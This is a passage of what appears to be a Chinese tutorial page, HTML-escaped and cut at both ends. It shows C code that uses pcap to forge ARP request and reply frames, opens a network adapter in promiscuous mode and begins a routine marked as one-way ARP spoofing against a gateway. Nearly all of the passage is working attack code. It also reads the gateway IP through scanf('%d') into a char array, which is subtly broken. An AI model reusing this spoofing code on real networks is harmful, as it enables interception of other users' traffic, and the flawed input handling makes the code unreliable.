style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_HW_Addr,NULL,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;else&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;DesMAC,desmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_Prot_Addr,desIP,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_HW_Addr,DLCHeader-&gt;DesMAC,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u6e90\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;SrcMAC,srcmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_HW_Addr,srcmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145ARP\u5305\u6e90IP&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_Prot_Addr,srcip,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DLCHeader-&gt;EtherType=htons((unsigned&nbsp;short)0x0806);&nbsp;&nbsp;&nbsp;&nbsp;\/\/0x0806\u8868\u793aARP\u534f\u8bae\uff0c0x0800\u8868\u793aIP\u534f\u8bae&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Addr_Len=(unsigned&nbsp;char)6;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Addr_Len=(unsigned&nbsp;char)4;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Type=htons((unsigned&nbsp;short)1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Opcode=htons((unsigned&nbsp;short)op);&nbsp;&nbsp;&nbsp;\/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Type=htons((unsigned&nbsp;short)0x0800);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;BOOL&nbsp;SendPacket(pcap_t&nbsp;*hpcap,char&nbsp;*Packet,int&nbsp;packetsize)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6570\u636e\u5305\u53d1\u9001\u5931\u8d25\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;pcap_t&nbsp;*OpenAdapter(char&nbsp;*devName)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;errbuf[PCAP_ERRBUF_SIZE];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if((hpcap=pcap_open_live(devName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u8bbe\u5907\u540d&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65536,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536&nbsp;\u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6df7\u6742\u6a21\u5f0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1000,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;\/\/&nbsp;\u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;errbuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u9519\u8bef\u7f13\u51b2\u533a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;))==NULL)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;hpcap;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;\/\/A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;void&nbsp;Input(char&nbsp;*Gateway_IP)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u8bf7\u8f93\u5165\u7f51\u5173IP:&#8221;);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(scanf(&#8220;%d.%d.%d.%d&#8221;,&amp;Gateway_IP[0],&amp;Gateway_IP[1],&amp;Gateway_IP[2],&amp;Gateway_IP[3])!=4)&nbsp;exit(-1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; 